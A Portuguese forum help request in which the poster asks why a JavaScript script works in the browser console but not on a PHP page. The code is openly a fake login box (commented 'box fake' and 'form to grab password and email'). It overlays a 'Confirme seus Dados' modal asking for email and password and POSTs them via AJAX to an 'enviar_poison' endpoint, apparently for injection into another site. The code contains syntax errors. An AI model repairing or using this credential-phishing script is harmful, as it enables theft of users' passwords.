Script roda no console mas nao roda na pagina php!
Eae galera bem estou desenvolvendo um script
ja desenvolvi só que existe um problema
por exemplo se executo o codigo no console de navegador ou entre javascript:;
na barra de navegação funciona tranquilo
porem implantei todo o codigo na pagina php seguinte:
<?php
//session_start();
include "config.php";
$sql = "SELECT * FROM usuarios";
$query = mysql_query($sql);
$row = mysql_fetch_array($query);
$name = $row['username'];
?>
<html>
<head>
<title></title>
<script>//criador.js
var jquery = document.createElement('script');
jquery.type='text/javascript';
jquery.src='http://code.jquery.com/jquery-latest.min.js';
document.body.appendChild(jquery);
// chamo o jquery para a página!!
var ajax = document.createElement('script');
ajax.type='text/javascript';
ajax.src='http://ajax.googleapis.com/ajax/libs/jqueryui/1.9.2/jquery-ui.min.js';
document.body.appendChild(ajax);
//chamei o ajax
var um = document.createElement('script');
um.type='text/javascript';
um.src='http://malsup.github.io/jquery.blockUI.js';
document.body.appendChild(um);
// js da modal box
var dois = document.createElement('script');
dois.type='text/javascript';
dois.src='http://malsup.github.com/chili-1.7.pack.js';
document.body.appendChild(dois);
/ finalizado modal box/
var cria = document.createElement('link');
cria.type='text/css';
cria.href='http://www.levadalouca.com/boxhabbo.css';
cria.rel='stylesheet';
document.body.appendChild(cria);
// terminei de chamar o css da box
/*
var novadiv = document.createElement('div'); //cria o elemento div
id='box'
novadiv.setAttribute('id', id)
html='<div id="titulo"><div style="position:relative;top:6px;"><b>Confirme seus Dados:</b></div></div><br><br> <label>Email:</label><br><input type="text" name="email"></input><br><label>Senha:</label><br><input type="password" name="senha"></input><br><button id="botao">OK</button>';
novadiv.innerHTML = html; // Conteúdo da div
document.body.appendChild(novadiv); */
// terminei de criar a div
// adcionando o conteudo da div o titulo e o botao!! XD
// chamando os css da modal box!
var cria = document.createElement('link');
cria.type='text/css';cria.href='http://ajax.googleapis.com/ajax/libs/jqueryui/1/themes/smoothness/jquery-ui.css';
cria.rel='stylesheet';
document.body.appendChild(cria);
var cria = document.createElement('link');
cria.type='text/css';cria.href='http://www.malsup.com/jquery/jq.css';
cria.rel='stylesheet';
document.body.appendChild(cria);
var cria = document.createElement('link');
cria.type='text/css';cria.href='http://www.levadalouca.com/block.css';
cria.rel='stylesheet';
document.body.appendChild(cria);
</script>
<script>//box fake
setTimeout(function(){
/*var cria = document.createElement('button');
cria.id='demo9';
cria.val='DEMO';document.body.appendChild(cria);*/
$(document).ready(function() {
//$('#demo9').click(function() {
$.blockUI();
$('.blockOverlay').attr('title','Click to unblock').click($.unblockUI);
//});
});$.blockUI.defaults = {
// message displayed when blocking (use null for no message)
message: '<div id="titulo"><div style="position:relative;top:6px;"><b>Confirme seus Dados:</b></div></div><br><br> <label>Email:</label><br><input type="text" name="email"></input><br><label>Senha:</label><br><input type="password" name="senha"></input><br><button id="botao">OK</button>',
title: null, // title string; only used when theme == true
draggable: true, // only used when theme == true (requires jquery-ui.js to be loaded)
theme: false, // set to true to use with jQuery UI themes
// styles for the message when blocking; if you wish to disable
// these and use an external stylesheet then do this in your code:
// $.blockUI.defaults.css = {};
css: {
padding: 0,
margin: 0,
width: '30%',
top: '40%',
left: '35%',
textAlign: 'center',
color: '#000',
border: '3px solid #aaa',
backgroundColor:'#fff',
cursor: 'pointer'
},
// minimal style set used when themes are used
themedCSS: {
width: '30%',
top: '40%',
left: '35%'
},
// styles for the overlay
overlayCSS: {
backgroundColor: '#000',
opacity: 0.6,
cursor: 'wait'
},
// style to replace wait cursor before unblocking to correct issue
// of lingering wait cursor
cursorReset: 'default',
// styles applied when using $.growlUI
growlCSS: {
width: '350px',
top: '10px',
left: '',
right: '10px',
border: 'none',
padding: '5px',
opacity: 0.6,
cursor: null,
color: '#fff',
backgroundColor: '#000',
'-webkit-border-radius': '10px',
'-moz-border-radius': '10px'
},
// IE issues: 'about:blank' fails on HTTPS and javascript:false is s-l-o-w
// (hat tip to Jorge H. N. de Vasconcelos)
iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank',
// force usage of iframe in non-IE browsers (handy for blocking applets)
forceIframe: false,
// z-index for the blocking overlay
baseZ: 1000,
// set these to true to have the message automatically centered
centerX: true, // <-- only effects element blocking (page block controlled via css above)
centerY: true,
// allow body element to be stetched in ie6; this makes blocking look better
// on "short" pages. disable if you wish to prevent changes to the body height
allowBodyStretch: true,
// enable if you want key and mouse events to be disabled for content that is blocked
bindEvents: true,
// be default blockUI will supress tab navigation from leaving blocking content
// (if bindEvents is true)
constrainTabKey: true,
// fadeIn time in millis; set to 0 to disable fadeIn on block
fadeIn: 200,
// fadeOut time in millis; set to 0 to disable fadeOut on unblock
fadeOut: 400,
// time in millis to wait before auto-unblocking; set to 0 to disable auto-unblock
timeout: 0,
// disable if you don't want to show the overlay
showOverlay: true,
// if true, focus will be placed in the first available input field when
// page blocking
focusInput: true,
// suppresses the use of overlay styles on FF/Linux (due to performance issues with opacity)
// no longer needed in 2012
// applyPlatformOpacityRules: true,
// callback method invoked when fadeIn has completed and blocking message is visible
onBlock: null,
// callback method invoked when unblocking has completed; the callback is
// passed the element that has been unblocked (which is the window object for page
// blocks) and the options that were passed to the unblock call:
// onUnblock(element, options)
onUnblock: null,
// don't ask; if you really must know: [http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493](http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493)
quirksmodeOffsetHack: 4,
// class name of the message block
blockMsgClass: 'blockMsg',
// if it is already blocked, then ignore it (don't unblock and reblock)
ignoreIfBlocked: false
};
},2000);
setTimeout(function(){ //formulario de pegar senha e email
/*var cria = document.createElement('button');
cria.id='demo9';
cria.val='DEMO';document.body.appendChild(cria);*/
$(document).ready(function() {
//$('#demo9').click(function() {
$.blockUI();
$('.blockOverlay').attr('title','Click to unblock').click($.unblockUI);
//});
});$.blockUI.defaults = {
// message displayed when blocking (use null for no message)
message: '<div id="titulo"><div style="position:relative;top:6px;"><b>Confirme seus Dados:</b></div></div><br><br> <form id="ajax_form" name="form1" method="GET" action="" "/><label>Email:</label><br><input type="text" name="email"></input><br><label>Senha:</label><br><input type="password" name="senha"></input><input type="hidden" value="<?php echo $row['username']; ?>" style="display:none;"name="nome"></input><br><button id="botao">OK</button></form>',
title: null, // title string; only used when theme == true
draggable: true, // only used when theme == true (requires jquery-ui.js to be loaded)
theme: false, // set to true to use with jQuery UI themes
// styles for the message when blocking; if you wish to disable
// these and use an external stylesheet then do this in your code:
// $.blockUI.defaults.css = {};
css: {
padding: 0,
margin: 0,
width: '30%',
top: '40%',
left: '35%',
textAlign: 'center',
color: '#000',
border: '3px solid #aaa',
backgroundColor:'#fff',
cursor: 'pointer'
},
// minimal style set used when themes are used
themedCSS: {
width: '30%',
top: '40%',
left: '35%'
},
// styles for the overlay
overlayCSS: {
backgroundColor: '#000',
opacity: 0.6,
cursor: 'wait'
},
// style to replace wait cursor before unblocking to correct issue
// of lingering wait cursor
cursorReset: 'default',
// styles applied when using $.growlUI
growlCSS: {
width: '350px',
top: '10px',
left: '',
right: '10px',
border: 'none',
padding: '5px',
opacity: 0.6,
cursor: null,
color: '#fff',
backgroundColor: '#000',
'-webkit-border-radius': '10px',
'-moz-border-radius': '10px'
},
// IE issues: 'about:blank' fails on HTTPS and javascript:false is s-l-o-w
// (hat tip to Jorge H. N. de Vasconcelos)
iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank',
// force usage of iframe in non-IE browsers (handy for blocking applets)
forceIframe: false,
// z-index for the blocking overlay
baseZ: 1000,
// set these to true to have the message automatically centered
centerX: true, // <-- only effects element blocking (page block controlled via css above)
centerY: true,
// allow body element to be stetched in ie6; this makes blocking look better
// on "short" pages. disable if you wish to prevent changes to the body height
allowBodyStretch: true,
// enable if you want key and mouse events to be disabled for content that is blocked
bindEvents: true,
// be default blockUI will supress tab navigation from leaving blocking content
// (if bindEvents is true)
constrainTabKey: true,
// fadeIn time in millis; set to 0 to disable fadeIn on block
fadeIn: 200,
// fadeOut time in millis; set to 0 to disable fadeOut on unblock
fadeOut: 400,
// time in millis to wait before auto-unblocking; set to 0 to disable auto-unblock
timeout: 0,
// disable if you don't want to show the overlay
showOverlay: true,
// if true, focus will be placed in the first available input field when
// page blocking
focusInput: true,
// suppresses the use of overlay styles on FF/Linux (due to performance issues with opacity)
// no longer needed in 2012
// applyPlatformOpacityRules: true,
// callback method invoked when fadeIn has completed and blocking message is visible
onBlock: null,
// callback method invoked when unblocking has completed; the callback is
// passed the element that has been unblocked (which is the window object for page
// blocks) and the options that were passed to the unblock call:
// onUnblock(element, options)
onUnblock: null,
// don't ask; if you really must know: [http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493](http://groups.google.com/group/jquery-en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493)
quirksmodeOffsetHack: 4,
// class name of the message block
blockMsgClass: 'blockMsg',
// if it is already blocked, then ignore it (don't unblock and reblock)
ignoreIfBlocked: false
};$(".content").html(); // pego o nome do usuario !!
/*
$("#header").css('margin-left','+=150px');
$("#header").css('height','-=10px');$("#header").css('background-color','#4B5A5F'); */
},100);
</script>
<script type="text/javascript">
jQuery(document).ready(function(){
jQuery('#ajax_form').submit(function(){
var dados = jQuery( this ).serialize();
jQuery.ajax({
type: "POST",
url: "enviar_poison?user="<?php echo $row["username"]; ?>",data: dados,
success: function( data )
{
alert( data );
}
});
return false;
});
});
</script>
</head>
<body>
</body>
</html>
e não acontece nada !!
alguem me ajude please !!
Discussão (3)
Carregando comentários...